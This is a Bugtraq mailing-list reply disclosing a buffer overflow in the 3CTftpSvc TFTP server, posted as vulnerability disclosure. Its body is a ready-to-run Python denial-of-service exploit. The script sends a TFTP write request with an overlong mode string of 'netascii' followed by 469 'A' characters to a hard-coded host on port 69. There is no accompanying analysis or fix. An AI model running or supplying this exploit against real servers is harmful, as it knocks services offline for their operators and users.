bugtraq - Re: TFTP Server 3CTftpSvc Buffer Overflow Vulnerability (Long transporting mode)

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Message-Id: <201601100424.u0A4ONDQ023125@sf01web1.securityfocus.com>
Date: Sun, 10 Jan 2016 04:24:23 GMT
From: fgghy@...o.com
To: bugtraq@...urityfocus.com
Subject: Re: TFTP Server 3CTftpSvc Buffer Overflow Vulnerability (Long
 transporting mode)

 #!/usr/bin/python
 # Buffer Overflow (Long transporting mode) Vulnerability Exploit
 # This is just a DoS exploiting code
 # Tested on Windows xp SP2
 #
 # Requires python and impacket
 #
 # Coded by Liu Qixu Of NCNIPC

 import socket
 import sys

 host = '192.168.1.11'
 port = 69

 try:
 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 except: 
 print "socket() failed" 
 sys.exit(1)

 filename = "A" 
 mode = "netascii" + "A" * 469
 da = "\x00\x02" + filename + "\0" + mode + "\0"
 s.sendto(da, (host, port))